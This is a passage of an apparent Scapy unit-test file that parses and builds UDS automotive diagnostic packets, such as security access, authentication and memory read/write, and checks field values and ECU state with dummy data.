dscpr.sessionParameterRecord == b\"beef\"\n\necu = Ecu()\necu.update(dsc)\necu.update(dscpr)\nassert ecu.state.session == 9\n\n= Check UDS_ER\n\ner = UDS(b'\\x11\\x01')\nassert er.service == 0x11\nassert er.resetType == 0x01\n\n= Check UDS_ER\n\ner = UDS()/UDS_ER(resetType=\"hardReset\")\nassert er.service == 0x11\nassert er.resetType == 0x01\n\n= Check UDS_ERPR\n\nerpr = UDS(b'\\x51\\x01')\nassert erpr.service == 0x51\nassert erpr.resetType == 0x01\n\nassert erpr.answers(er)\n\n= Check UDS_ERPR\n\nerpr = UDS(b'\\x51\\x04\\x10')\nassert erpr.service == 0x51\nassert erpr.resetType == 0x04\nassert erpr.powerDownTime == 0x10\n\n= Check UDS_ERPR modifies ecu state\n\nerpr = UDS(b'\\x51\\x01')\nassert erpr.service == 0x51\nassert erpr.resetType == 0x01\n\necu = Ecu()\necu.state.security_level = 5\necu.state.session = 3\necu.state.communication_control = 4\necu.update(er)\necu.update(erpr)\n\nassert ecu.state.session == 1\n\n= Check UDS_SA\n\nsa = UDS(b'\\x27\\x00c0ffee')\nassert sa.service == 0x27\nassert sa.securityAccessType == 0x0\nassert sa.securityKey == b'c0ffee'\n\n= Check UDS_SAPR\n\nsapr = UDS(b'\\x67\\x00')\nassert sapr.service == 0x67\nassert sapr.securityAccessType == 0x0\n\nassert sapr.answers(sa)\n\n= Check UDS_SA\n\nsa = UDS(b'\\x27\\x01c0ffee')\nassert sa.service == 0x27\nassert sa.securityAccessType == 0x1\nassert sa.securityAccessDataRecord == b'c0ffee'\n\n= Check UDS_SAPR\n\nsapr = UDS(b'\\x67\\x01c0ffee')\nassert sapr.service == 0x67\nassert sapr.securityAccessType == 0x1\nassert sapr.securitySeed == b'c0ffee'\n\nassert sapr.answers(sa)\n\n= Check UDS_SA\n\nsa = UDS(b'\\x27\\x06c0ffee')\nassert sa.service == 0x27\nassert sa.securityAccessType == 0x6\nassert sa.securityKey == b'c0ffee'\n\n\n= Check UDS_SAPR modifies ecu state\n\nsapr = UDS(b'\\x67\\x06')\nassert sapr.service == 0x67\nassert sapr.securityAccessType == 0x6\n\necu = Ecu()\necu.update(sa)\necu.update(sapr)\nassert ecu.state.security_level == 6\n\n= Check UDS_SA\n\nsa = UDS(b'\\x27\\x01c0ffee')\nassert sa.service == 0x27\nassert sa.securityAccessType == 0x1\nassert sa.securityAccessDataRecord == b'c0ffee'\n\n= Check UDS_SAPR\n\nsapr = UDS(b'\\x67\\x01c0ffee')\nassert sapr.service == 0x67\nassert sapr.securityAccessType == 0x1\nassert sapr.securitySeed == b'c0ffee'\n\n\n= Check UDS_CC\n\ncc = UDS(b'\\x28\\x01\\xff')\nassert cc.service == 0x28\nassert cc.controlType == 0x1\nassert cc.communicationType0 == 0x3\nassert cc.communicationType1 == 0x3\nassert cc.communicationType2 == 0xf\n\n= Check UDS_CCPR\n\nccpr = UDS(b'\\x68\\x01')\nassert ccpr.service == 0x68\nassert ccpr.controlType == 0x1\n\nassert ccpr.answers(cc)\n\n= Check UDS_CCPR modifies ecu state\n\nccpr = UDS(b'\\x68\\x01')\nassert ccpr.service == 0x68\nassert ccpr.controlType == 0x1\n\necu = Ecu()\necu.update(cc)\necu.update(ccpr)\nassert ecu.state.communication_control == 1\n\n= Check UDS_AUTH\n\nauth = UDS(b\"\\x29\\x00\")\nassert auth.service == 0x29\nassert auth.subFunction == 0x0\n\n= Build UDS_AUTH\n\nauth_build = UDS()/UDS_AUTH(subFunction=0x0)\nassert bytes(auth_build) == bytes(auth)\n\n= Check UDS_AUTHPR\n\nauthpr = UDS(b\"\\x69\\x00\\x00\")\nassert authpr.service == 0x69\nassert authpr.subFunction == 0x0\nassert authpr.returnValue == 0x0\n\nassert authpr.answers(auth)\n\n= Build UDS_AUTHPR\n\nauthpr_build = UDS()/UDS_AUTHPR(subFunction=0x0, returnValue=0x0)\nassert bytes(authpr_build) == bytes(authpr)\n\n= Check UDS_AUTH\n\nauth = UDS(b\"\\x29\\x01\\x01\\x00\\x01\\xFF\\x00\\x01\\xFF\")\nassert auth.service == 0x29\nassert auth.subFunction == 0x1\nassert auth.communicationConfiguration == 0x1\nassert auth.lengthOfCertificateClient == 0x1\nassert auth.certificateClient == b\"\\xFF\"\nassert auth.lengthOfChallengeClient == 0x1\nassert auth.challengeClient == b\"\\xFF\"\n\n= Build UDS_AUTH\n\nauth_build = UDS()/UDS_AUTH(subFunction=0x1, communicationConfiguration=0x1,\n                            certificateClient=b\"\\xFF\", challengeClient=b\"\\xFF\")\nassert bytes(auth_build) == bytes(auth)\n\n= Check UDS_AUTHPR\n\nauthpr = UDS(b\"\\x69\\x01\\x00\\x00\\x01\\xFF\\x00\\x01\\xFE\")\nassert authpr.service == 0x69\nassert authpr.subFunction == 0x1\nassert authpr.returnValue == 0x0\nassert authpr.lengthOfChallengeServer == 0x1\nassert authpr.challengeServer == b\"\\xFF\"\nassert authpr.lengthOfEphemeralPublicKeyServer == 0x1\nassert authpr.ephemeralPublicKeyServer == b\"\\xFE\"\n\nassert authpr.answers(auth)\n\n= Build UDS_AUTHPR\n\nauthpr_build = UDS()/UDS_AUTHPR(subFunction=0x1, returnValue=0x0,\n                                challengeServer=b\"\\xFF\",\n                                ephemeralPublicKeyServer=b\"\\xFE\")\nassert bytes(authpr_build) == bytes(authpr)\n\n= Check UDS_AUTH\n\nauth = UDS(b\"\\x29\\x02\\x01\\x00\\x01\\xFF\\x00\\x01\\xFF\")\nassert auth.service == 0x29\nassert auth.subFunction == 0x2\nassert auth.communicationConfiguration == 0x1\nassert auth.lengthOfCertificateClient == 0x1\nassert auth.certificateClient == b\"\\xFF\"\nassert auth.lengthOfChallengeClient == 0x1\nassert auth.challengeClient == b\"\\xFF\"\n\n= Build UDS_AUTH\n\nauth_build = UDS()/UDS_AUTH(subFunction=0x2, communicationConfiguration=0x1,\n                            certificateClient=b\"\\xFF\", challengeClient=b\"\\xFF\")\nassert bytes(auth_build) == bytes(auth)\n\n= Check UDS_AUTHPR\n\nauthpr = UDS(b\"\\x69\\x02\\x00\\x00\\x01\\xFF\\x00\\x03\\xC0\\xFF\\xEE\\x00\\x01\\x56\\x00\" +\n             b\"\\x01\\xFE\")\nassert authpr.service == 0x69\nassert authpr.subFunction == 0x2\nassert authpr.returnValue == 0x0\nassert authpr.lengthOfChallengeServer == 0x1\nassert authpr.challengeServer == b\"\\xFF\"\nassert authpr.lengthOfCertificateServer == 0x3\nassert authpr.certificateServer == b\"\\xC0\\xFF\\xEE\"\nassert authpr.lengthOfProofOfOwnershipServer == 0x1\nassert authpr.proofOfOwnershipServer == b\"\\x56\"\nassert authpr.lengthOfEphemeralPublicKeyServer == 0x1\nassert authpr.ephemeralPublicKeyServer == b\"\\xFE\"\n\nassert authpr.answers(auth)\n\n= Build UDS_AUTHPR\n\nauthpr_build = UDS()/UDS_AUTHPR(subFunction=0x2, returnValue=0x0,\n                                challengeServer=b\"\\xFF\",\n                                certificateServer=b\"\\xC0\\xFF\\xEE\",\n                                proofOfOwnershipServer=b\"\\x56\",\n                                ephemeralPublicKeyServer=b\"\\xFE\")\nassert bytes(authpr_build) == bytes(authpr)\n\n= Check UDS_AUTH\n\nauth = UDS(b\"\\x29\\x03\\x00\\x01\\xFF\\x00\\x02\\xFF\\xFE\")\nassert auth.service == 0x29\nassert auth.subFunction == 0x3\nassert auth.lengthOfProofOfOwnershipClient == 0x1\nassert auth.proofOfOwnershipClient == b\"\\xFF\"\nassert auth.lengthOfEphemeralPublicKeyClient == 0x2\nassert auth.ephemeralPublicKeyClient == b\"\\xFF\\xFE\"\n\n= Build UDS_AUTH\n\nauth_build = UDS()/UDS_AUTH(subFunction=0x3, proofOfOwnershipClient=b\"\\xFF\",\n                            ephemeralPublicKeyClient=b\"\\xFF\\xFE\")\nassert bytes(auth_build) == bytes(auth)\n\n= Check UDS_AUTHPR\n\nauthpr = UDS(b\"\\x69\\x03\\x00\\x00\\x01\\xFE\")\nassert authpr.service == 0x69\nassert authpr.subFunction == 0x3\nassert authpr.returnValue == 0x0\nassert authpr.lengthOfSessionKeyInfo == 0x1\nassert authpr.sessionKeyInfo == b\"\\xFE\"\n\nassert authpr.answers(auth)\n\n= Build UDS_AUTHPR\n\nauthpr_build = UDS()/UDS_AUTHPR(subFunction=0x3, returnValue=0x0,\n                                sessionKeyInfo=b\"\\xFE\")\nassert bytes(authpr_build) == bytes(authpr)\n\n= Check UDS_AUTH\n\nauth = UDS(b\"\\x29\\x04\\x00\\x03\\x00\\x05\\xFF\\x00\\x02\\xFF\\xFE\")\nassert auth.service == 0x29\nassert auth.subFunction == 0x4\nassert auth.certificateEvaluationId == 0x3\nassert auth.lengthOfCertificateData == 0x5\nassert auth.certificateData == b\"\\xFF\\x00\\x02\\xFF\\xFE\"\n\n= Build UDS_AUTH\n\nauth_build = UDS()/UDS_AUTH(subFunction=0x4, certificateEvaluationId=0x3,\n                            certificateData=b\"\\xFF\\x00\\x02\\xFF\\xFE\")\nassert bytes(auth_build) == bytes(auth)\n\n= Check UDS_AUTHPR\n\nauthpr = UDS(b\"\\x69\\x04\\x00\")\nassert authpr.service == 0x69\nassert authpr.subFunction == 0x4\nassert authpr.returnValue == 0x0\n\nassert authpr.answers(auth)\n\n= Build UDS_AUTHPR\n\nauthpr_build = UDS()/UDS_AUTHPR(subFunction=0x4, returnValue=0x0)\nassert bytes(authpr_build) == bytes(authpr)\n\n= Check UDS_AUTH\n\nauth = UDS(b\"\\x29\\x05\\x01\\x03\\x00\\x05\\xFF\\x00\\x02\\xFF\\xFE\\xBE\\x34\\x56\\x03\" +\n           b\"\\xFF\\xEE\\x20\\x01\")\nassert auth.service == 0x29\nassert auth.subFunction == 0x5\nassert auth.communicationConfiguration == 0x1\nassert auth.algorithmIndicator == (b\"\\x03\\x00\\x05\\xFF\\x00\\x02\\xFF\\xFE\\xBE\" +\n                                  b\"\\x34\\x56\\x03\\xFF\\xEE\\x20\\x01\")\n\n= Build UDS_AUTH\n\nauth_build = UDS()/UDS_AUTH(subFunction=0x5, communicationConfiguration=0x1,\n                            algorithmIndicator=(b\"\\x03\\x00\\x05\\xFF\\x00\\x02\" +\n                                                b\"\\xFF\\xFE\\xBE\\x34\\x56\\x03\" +\n                                                b\"\\xFF\\xEE\\x20\\x01\"))\nassert bytes(auth_build) == bytes(auth)\n\n= Check UDS_AUTHPR\n\nauthpr = UDS(b\"\\x69\\x05\\x00\\x03\\x00\\x05\\xFF\\x00\\x02\\xFF\\xFE\\xBE\\x34\\x56\\x03\" +\n             b\"\\xFF\\xEE\\x20\\x01\\x00\\x01\\xFF\\x00\\x00\")\nassert authpr.service == 0x69\nassert authpr.subFunction == 0x5\nassert authpr.returnValue == 0x0\nassert authpr.algorithmIndicator == (b\"\\x03\\x00\\x05\\xFF\\x00\\x02\\xFF\\xFE\\xBE\" +\n                                     b\"\\x34\\x56\\x03\\xFF\\xEE\\x20\\x01\")\nassert authpr.lengthOfChallengeServer == 0x1\nassert authpr.challengeServer == b\"\\xFF\"\nassert authpr.lengthOfNeededAdditionalParameter == 0x0\nassert authpr.neededAdditionalParameter == b\"\"\n\nassert authpr.answers(auth)\n\n= Build UDS_AUTHPR\n\nauthpr_build = UDS()/UDS_AUTHPR(subFunction=0x5, returnValue=0x0,\n                                algorithmIndicator=(b\"\\x03\\x00\\x05\\xFF\\x00\" +\n                                                    b\"\\x02\\xFF\\xFE\\xBE\\x34\" +\n                                                    b\"\\x56\\x03\\xFF\\xEE\\x20\" +\n                                                    b\"\\x01\"),\n                                challengeServer=b\"\\xFF\")\nassert bytes(authpr_build) == bytes(authpr)\n\n= Check UDS_AUTH\n\nauth = UDS(b\"\\x29\\x06\\x03\\x00\\x05\\xFF\\x00\\x02\\xFF\\xFE\\xBE\\x34\\x56\\x03\\xFF\" +\n           b\"\\xEE\\x20\\x01\\x00\\x01\\xFF\\x00\\x01\\xFF\\x00\\x00\")\nassert auth.service == 0x29\nassert auth.subFunction == 0x6\nassert auth.algorithmIndicator == (b\"\\x03\\x00\\x05\\xFF\\x00\\x02\\xFF\\xFE\\xBE\" +\n                                  b\"\\x34\\x56\\x03\\xFF\\xEE\\x20\\x01\")\nassert auth.lengthOfProofOfOwnershipClient == 0x1\nassert auth.proofOfOwnershipClient == b\"\\xFF\"\nassert auth.lengthOfChallengeClient == 0x1\nassert auth.challengeClient == b\"\\xFF\"\nassert auth.lengthOfAdditionalParameter == 0x0\nassert auth.additionalParameter == b\"\"\n\n= Build UDS_AUTH\n\nauth_build = UDS()/UDS_AUTH(subFunction=0x6,\n                            algorithmIndicator=(b\"\\x03\\x00\\x05\\xFF\\x00\\x02\" +\n                                                b\"\\xFF\\xFE\\xBE\\x34\\x56\\x03\" +\n                                                b\"\\xFF\\xEE\\x20\\x01\"),\n                            proofOfOwnershipClient=b\"\\xFF\",\n                            challengeClient=b\"\\xFF\")\nassert bytes(auth_build) == bytes(auth)\n\n= Check UDS_AUTHPR\n\nauthpr = UDS(b\"\\x69\\x06\\x00\\x03\\x00\\x05\\xFF\\x00\\x02\\xFF\\xFE\\xBE\\x34\\x56\\x03\" +\n             b\"\\xFF\\xEE\\x20\\x01\\x00\\x01\\xFE\")\nassert authpr.service == 0x69\nassert authpr.subFunction == 0x6\nassert authpr.returnValue == 0x0\nassert auth.algorithmIndicator == (b\"\\x03\\x00\\x05\\xFF\\x00\\x02\\xFF\\xFE\\xBE\" +\n                                  b\"\\x34\\x56\\x03\\xFF\\xEE\\x20\\x01\")\nassert authpr.lengthOfSessionKeyInfo == 0x1\nassert authpr.sessionKeyInfo == b\"\\xFE\"\n\nassert authpr.answers(auth)\n\n= Build UDS_AUTHPR\n\nauthpr_build = UDS()/UDS_AUTHPR(subFunction=0x6, returnValue=0x0,\n                                algorithmIndicator=(b\"\\x03\\x00\\x05\\xFF\\x00\" +\n                                                    b\"\\x02\\xFF\\xFE\\xBE\\x34\" +\n                                                    b\"\\x56\\x03\\xFF\\xEE\\x20\\x01\"\n                                                    ),\n                                sessionKeyInfo=b\"\\xFE\")\nassert bytes(authpr_build) == bytes(authpr)\n\n= Check UDS_AUTH\n\nauth = UDS(b\"\\x29\\x07\\x03\\x00\\x05\\xFF\\x00\\x02\\xFF\\xFE\\xBE\\x34\\x56\\x03\\xFF\" +\n           b\"\\xEE\\x20\\x01\\x00\\x01\\xFF\\x00\\x01\\xFF\\x00\\x02\\xC0\\xCA\")\nassert auth.service == 0x29\nassert auth.subFunction == 0x7\nassert auth.algorithmIndicator == (b\"\\x03\\x00\\x05\\xFF\\x00\\x02\\xFF\\xFE\\xBE\" +\n                                  b\"\\x34\\x56\\x03\\xFF\\xEE\\x20\\x01\")\nassert auth.lengthOfProofOfOwnershipClient == 0x1\nassert auth.proofOfOwnershipClient == b\"\\xFF\"\nassert auth.lengthOfChallengeClient == 0x1\nassert auth.challengeClient == b\"\\xFF\"\nassert auth.lengthOfAdditionalParameter == 0x2\nassert auth.additionalParameter == b\"\\xC0\\xCA\"\n\n= Build UDS_AUTH\n\nauth_build = UDS()/UDS_AUTH(subFunction=0x7,\n                            algorithmIndicator=(b\"\\x03\\x00\\x05\\xFF\\x00\\x02\" +\n                                                b\"\\xFF\\xFE\\xBE\\x34\\x56\\x03\" +\n                                                b\"\\xFF\\xEE\\x20\\x01\"),\n                            proofOfOwnershipClient=b\"\\xFF\",\n                            challengeClient=b\"\\xFF\",\n                            additionalParameter=b\"\\xC0\\xCA\")\nassert bytes(auth_build) == bytes(auth)\n\n= Check UDS_AUTHPR\n\nauthpr = UDS(b\"\\x69\\x07\\x00\\x03\\x00\\x05\\xFF\\x00\\x02\\xFF\\xFE\\xBE\\x34\\x56\\x03\" +\n             b\"\\xFF\\xEE\\x20\\x01\\x00\\x02\\xFE\\x20\\x00\\x01\\xFE\")\nassert authpr.service == 0x69\nassert authpr.subFunction == 0x7\nassert authpr.returnValue == 0x0\nassert auth.algorithmIndicator == (b\"\\x03\\x00\\x05\\xFF\\x00\\x02\\xFF\\xFE\\xBE\" +\n                                  b\"\\x34\\x56\\x03\\xFF\\xEE\\x20\\x01\")\nassert authpr.lengthOfProofOfOwnershipServer == 0x2\nassert authpr.proofOfOwnershipServer == b\"\\xFE\\x20\"\nassert authpr.lengthOfSessionKeyInfo == 0x1\nassert authpr.sessionKeyInfo == b\"\\xFE\"\n\nassert authpr.answers(auth)\n\n= Build UDS_AUTHPR\n\nauthpr_build = UDS()/UDS_AUTHPR(subFunction=0x7, returnValue=0x0,\n                                algorithmIndicator=(b\"\\x03\\x00\\x05\\xFF\\x00\" +\n                                                    b\"\\x02\\xFF\\xFE\\xBE\\x34\" +\n                                                    b\"\\x56\\x03\\xFF\\xEE\\x20\\x01\"\n                                                    ),\n                                proofOfOwnershipServer=b\"\\xFE\\x20\",\n                                sessionKeyInfo=b\"\\xFE\")\nassert bytes(authpr_build) == bytes(authpr)\n\n= Check UDS_AUTH\n\nauth = UDS(b\"\\x29\\x08\")\nassert auth.service == 0x29\nassert auth.subFunction == 0x8\n\n= Build UDS_AUTH\n\nauth_build = UDS()/UDS_AUTH(subFunction=0x8)\nassert bytes(auth_build) == bytes(auth)\n\n= Check UDS_AUTHPR\n\nauthpr = UDS(b\"\\x69\\x08\\x00\")\nassert authpr.service == 0x69\nassert authpr.subFunction == 0x8\nassert authpr.returnValue == 0x0\n\nassert authpr.answers(auth)\n\n= Build UDS_AUTHPR\n\nauthpr_build = UDS()/UDS_AUTHPR(subFunction=0x8)\nassert bytes(authpr_build) == bytes(authpr)\n\n= Check UDS_TP\n\ntp = UDS(b'\\x3E\\x01')\nassert tp.service == 0x3e\nassert tp.subFunction == 0x1\n\n= Check UDS_TPPR\n\ntppr = UDS(b'\\x7E\\x01')\nassert tppr.service == 0x7e\nassert tppr.zeroSubFunction == 0x1\n\nassert tppr.answers(tp)\n\n= Check UDS_ATP\n\natp = UDS(b'\\x83\\x01')\nassert atp.service == 0x83\nassert atp.timingParameterAccessType == 0x1\n\n= Check UDS_ATPPR\n\natppr = UDS(b'\\xc3\\x01')\nassert atppr.service == 0xc3\nassert atppr.timingParameterAccessType == 0x1\n\nassert atppr.answers(atp)\n\n= Check UDS_ATP\n\natp = UDS(b'\\x83\\x04coffee')\nassert atp.service == 0x83\nassert atp.timingParameterAccessType == 0x4\nassert atp.timingParameterRequestRecord == b'coffee'\n\n= Check UDS_ATPPR\n\natppr = UDS(b'\\xc3\\x03coffee')\nassert atppr.service == 0xc3\nassert atppr.timingParameterAccessType == 0x3\nassert atppr.timingParameterResponseRecord == b'coffee'\n\n= Check UDS_SDT\n\nsdt = UDS(b'\\x84\\x80\\x00\\x01\\x12\\x34\\x13\\x37\\x01coffee')\nassert sdt.service == 0x84\nassert sdt.requestMessage == 0x1\nassert sdt.preEstablishedKeyUsed == 0x0\nassert sdt.encryptedMessage == 0x0\nassert sdt.signedMessage == 0x0\nassert sdt.signedResponseRequested == 0x0\nassert sdt.signatureEncryptionCalculation == 0x1\nassert sdt.signatureLength == 0x1234\nassert sdt.antiReplayCounter == 0x1337\nassert sdt.internalMessageServiceRequestId == 0x1\nassert sdt.dataRecord == b'coffee'\n\n= Build UDS_SDT\n\nsdt = UDS()/UDS_SDT(requestMessage=0x1, signatureEncryptionCalculation=0x1,\n                    signatureLength=0x1234, antiReplayCounter=0x1337,\n                    internalMessageServiceRequestId=0x1, dataRecord=b'coffee')\nassert sdt.service == 0x84\nassert sdt.requestMessage == 0x1\nassert sdt.preEstablishedKeyUsed == 0x0\nassert sdt.encryptedMessage == 0x0\nassert sdt.signedMessage == 0x0\nassert sdt.signedResponseRequested == 0x0\nassert sdt.signatureEncryptionCalculation == 0x1\nassert sdt.signatureLength == 0x1234\nassert sdt.antiReplayCounter == 0x1337\nassert sdt.internalMessageServiceRequestId == 0x1\nassert sdt.dataRecord == b'coffee'\n\n= Check UDS_SDTPR\n\nsdtpr = UDS(b'\\xC4\\x04\\x00\\x01\\x12\\x34\\x13\\x37\\x01coffee')\nassert sdtpr.service == 0xC4\nassert sdtpr.requestMessage == 0x0\nassert sdtpr.preEstablishedKeyUsed == 0x0\nassert sdtpr.encryptedMessage == 0x0\nassert sdtpr.signedMessage == 0x1\nassert sdtpr.signedResponseRequested == 0x0\nassert sdtpr.signatureEncryptionCalculation == 0x1\nassert sdtpr.signatureLength == 0x1234\nassert sdtpr.antiReplayCounter == 0x1337\nassert sdtpr.internalMessageServiceResponseId == 0x1\nassert sdtpr.dataRecord == b'coffee'\n\nassert sdtpr.answers(sdt)\n\n= Check UDS_CDTCS\n\ncdtcs = UDS(b'\\x85\\x00coffee')\nassert cdtcs.service == 0x85\nassert cdtcs.DTCSettingType == 0\nassert cdtcs.DTCSettingControlOptionRecord == b'coffee'\n\n= Check UDS_CDTCSPR\n\ncdtcspr = UDS(b'\\xC5\\x00')\nassert cdtcspr.service == 0xC5\nassert cdtcspr.DTCSettingType == 0\n\nassert cdtcspr.answers(cdtcs)\n\n= Check UDS_ROE\n\nroe = UDS(b'\\x86\\x00\\x10coffee')\nassert roe.service == 0x86\nassert roe.eventType == 0\nassert roe.eventWindowTime == 16\nassert roe.eventTypeRecord == b'coffee'\n\n= Check UDS_ROEPR\n\nroepr = UDS(b'\\xC6\\x00\\x01\\x10coffee')\nassert roepr.service == 0xC6\nassert roepr.eventType == 0\nassert roepr.numberOfIdentifiedEvents == 1\nassert roepr.eventWindowTime == 16\nassert roepr.eventTypeRecord == b'coffee'\n\nassert roepr.answers(roe)\n\n= Check UDS_LC\n\nlc = UDS(b'\\x87\\x01\\x02')\nassert lc.service == 0x87\nassert lc.linkControlType == 0x01\nassert lc.baudrateIdentifier == 0x02\n\n= Check UDS_LCPR\n\nlcpr = UDS(b'\\xC7\\x01')\nassert lcpr.service == 0xC7\nassert lcpr.linkControlType == 0x01\n\nassert lcpr.answers(lc)\n\n= Check UDS_LC\n\nlc = UDS(b'\\x87\\x02\\x02\\x03\\x04')\nassert lc.service == 0x87\nassert lc.linkControlType == 0x02\nassert lc.baudrateHighByte == 0x02\nassert lc.baudrateMiddleByte == 0x03\nassert lc.baudrateLowByte == 0x04\n\n= Check UDS_RDBI\n\nrdbi = UDS(b'\\x22\\x01\\x02')\nassert rdbi.service == 0x22\nassert rdbi.identifiers[0] == 0x0102\n\n= Build UDS_RDBI\n\nrdbi = UDS()/UDS_RDBI(identifiers=[0x102])\nassert rdbi.service == 0x22\nassert rdbi.identifiers[0] == 0x0102\nassert bytes(rdbi) == b'\\x22\\x01\\x02'\n\n= Check UDS_RDBI2\n\nrdbi = UDS(b'\\x22\\x01\\x02\\x03\\x04')\nassert rdbi.service == 0x22\nassert rdbi.identifiers[0] == 0x0102\nassert rdbi.identifiers[1] == 0x0304\nassert raw(rdbi) == b'\\x22\\x01\\x02\\x03\\x04'\n\n= Build UDS_RDBI2\n\nrdbi = UDS()/UDS_RDBI(identifiers=[0x102, 0x304])\nassert rdbi.service == 0x22\nassert rdbi.identifiers[0] == 0x0102\nassert rdbi.identifiers[1] == 0x0304\nassert raw(rdbi) == b'\\x22\\x01\\x02\\x03\\x04'\n\n= Test observable dict used in UDS_RDBI, setter\n\nUDS_RDBI.dataIdentifiers[0x102] = \"turbo\"\nUDS_RDBI.dataIdentifiers[0x103] = \"fullspeed\"\n\nrdbi = UDS()/UDS_RDBI(identifiers=[0x102, 0x103])\n\nassert \"turbo\" in plain_str(repr(rdbi))\nassert \"fullspeed\" in plain_str(repr(rdbi))\n\n= Test observable dict used in UDS_RDBI, deleter\n\nUDS_RDBI.dataIdentifiers[0x102] = \"turbo\"\n\nrdbi = UDS()/UDS_RDBI(identifiers=[0x102, 0x103])\nassert \"turbo\" in plain_str(repr(rdbi))\n\ndel UDS_RDBI.dataIdentifiers[0x102]\nUDS_RDBI.dataIdentifiers[0x103] = \"slowspeed\"\n\nrdbi = UDS()/UDS_RDBI(identifiers=[0x102, 0x103])\n\nassert \"turbo\" not in plain_str(repr(rdbi))\nassert \"slowspeed\" in plain_str(repr(rdbi))\n\n= Check UDS_RDBIPR\n\nrdbipr = UDS(b'\\x62\\x01\\x02dieselgate')\nassert rdbipr.service == 0x62\nassert rdbipr.dataIdentifier == 0x0102\nassert rdbipr.load == b'dieselgate'\n\nassert rdbipr.answers(rdbi)\n\n= Check UDS_RMBA\n\nrmba = UDS(b'\\x23\\x11\\x02\\x02')\nassert rmba.service == 0x23\nassert rmba.memorySizeLen == 1\nassert rmba.memoryAddressLen == 1\nassert rmba.memoryAddress1 == 2\nassert rmba.memorySize1 == 2\n\n= Check UDS_RMBA\n\nrmba = UDS(b'\\x23\\x22\\x02\\x02\\x03\\x03')\nassert rmba.service == 0x23\nassert rmba.memorySizeLen == 2\nassert rmba.memoryAddressLen == 2\nassert rmba.memoryAddress2 == 0x202\nassert rmba.memorySize2 == 0x303\n\n= Check UDS_RMBA\n\nrmba = UDS(b'\\x23\\x33\\x02\\x02\\x02\\x03\\x03\\x03')\nassert rmba.service == 0x23\nassert rmba.memorySizeLen == 3\nassert rmba.memoryAddressLen == 3\nassert rmba.memoryAddress3 == 0x20202\nassert rmba.memorySize3 == 0x30303\n\n= Check UDS_RMBA\n\nrmba = UDS(b'\\x23\\x44\\x02\\x02\\x02\\x02\\x03\\x03\\x03\\x03')\nassert rmba.service == 0x23\nassert rmba.memorySizeLen == 4\nassert rmba.memoryAddressLen == 4\nassert rmba.memoryAddress4 == 0x2020202\nassert rmba.memorySize4 == 0x3030303\n\n= Check UDS_RMBAPR\n\nrmbapr = UDS(b'\\x63muchData')\nassert rmbapr.service == 0x63\nassert rmbapr.dataRecord == b'muchData'\n\nassert rmbapr.answers(rmba)\n\n= Check UDS_RSDBI\n\nrsdbi = UDS(b'\\x24\\x12\\x34')\nassert rsdbi.service == 0x24\nassert rsdbi.dataIdentifier == 0x1234\n\n= Check UDS_RSDBIPR\n\nrsdbipr = UDS(b'\\x64\\x12\\x34\\xffmuchData')\nassert rsdbipr.service == 0x64\nassert rsdbipr.dataIdentifier == 0x1234\nassert rsdbipr.scalingByte == 255\nassert rsdbipr.dataRecord == b'muchData'\n\nassert rsdbipr.answers(rsdbi)\n\n= Check UDS_RSDBPI\n\nrsdbpi = UDS(b'\\x2a\\x12\\x34coffee')\nassert rsdbpi.service == 0x2a\nassert rsdbpi.transmissionMode == 0x12\nassert rsdbpi.periodicDataIdentifier == 0x34\nassert rsdbpi.furtherPeriodicDataIdentifier == b'coffee'\n\n= Check UDS_RSDBPIPR\n\nrsdbpipr = UDS(b'\\x6a\\xff\\x12\\x34')\nassert rsdbpipr.service == 0x6a\nassert rsdbpipr.periodicDataIdentifier == 255\nassert rsdbpipr.dataRecord == b'\\x12\\x34'\n\nassert not rsdbpipr.answers(rsdbpi)\n\n= Check UDS_RSDBPIPR\n\nrsdbpipr = UDS(b'\\x6a\\x34\\x12\\x34')\nassert rsdbpipr.service == 0x6a\nassert rsdbpipr.periodicDataIdentifier == 0x34\nassert rsdbpipr.dataRecord == b'\\x12\\x34'\n\nassert rsdbpipr.answers(rsdbpi)\n\n= Check UDS_DDDI\n\ndddi = UDS(b'\\x2c\\x12coffee')\nassert dddi.service == 0x2c\nassert dddi.subFunction == 0x12\nassert dddi.dataRecord == b'coffee'\n\n= Check UDS_DDDIPR\n\ndddipr = UDS(b'\\x6c\\x12\\x44\\x55')\nassert dddipr.service == 0x6c\nassert dddipr.subFunction == 0x12\nassert dddipr.dynamicallyDefinedDataIdentifier == 0x4455\n\nassert dddipr.answers(dddi)\n\n= Check UDS_WDBI\n\nwdbi = UDS(b'\\x2e\\x01\\x02dieselgate')\nassert wdbi.service == 0x2e\nassert wdbi.dataIdentifier == 0x0102\nassert wdbi.load == b'dieselgate'\n\n= Build UDS_WDBI\n\nwdbi = UDS()/UDS_WDBI(dataIdentifier=0x0102)/Raw(load=b'dieselgate')\nassert wdbi.service == 0x2e\nassert wdbi.dataIdentifier == 0x0102\nassert wdbi.load == b'dieselgate'\nassert bytes(wdbi) == b'\\x2e\\x01\\x02dieselgate'\n\n= Check UDS_WDBI\n\nwdbi = UDS(b'\\x2e\\x01\\x02dieselgate')\nassert wdbi.service == 0x2e\nassert wdbi.dataIdentifier == 0x0102\nassert wdbi.load == b'dieselgate'\n\nwdbi = UDS(b'\\x2e\\x02\\x02benzingate')\nassert wdbi.service == 0x2e\nassert wdbi.dataIdentifier == 0x0202\nassert wdbi.load == b'benzingate'\n\n\n= Check UDS_WDBIPR\n\nwdbipr = UDS(b'\\x6e\\x02\\x02')\nassert wdbipr.service == 0x6e\nassert wdbipr.dataIdentifier == 0x0202\n\nassert wdbipr.answers(wdbi)\n\n= Check UDS_WMBA\n\nwmba = UDS(b'\\x3d\\x11\\x02\\x02muchData')\nassert wmba.service == 0x3d\nassert wmba.memorySizeLen == 1\nassert wmba.memoryAddressLen == 1\nassert wmba.memoryAddress1 == 2\nassert wmba.memorySize1 == 2\nassert wmba.dataRecord == b'muchData'\n\n= Check UDS_WMBAPR\n\nwmbapr = UDS(b'\\x7d\\x11\\x02\\x02')\nassert wmbapr.service == 0x7d\nassert wmbapr.memorySizeLen == 1\nassert wmbapr.memoryAddressLen == 1\nassert wmbapr.memoryAddress1 == 2\nassert wmbapr.memorySize1 == 2\n\nassert wmbapr.answers(wmba)\n\n= Check UDS_WMBA\n\nwmba = UDS(b'\\x3d\\x22\\x02\\x02\\x03\\x03muchData')\nassert wmba.service == 0x3d\nassert wmba.memorySizeLen == 2\nassert wmba.memoryAddressLen == 2\nassert wmba.memoryAddress2 == 0x202\nassert wmba.memorySize2 == 0x303\nassert wmba.dataRecord == b'muchData'\n\n= Check UDS_WMBAPR\n\nwmbapr = 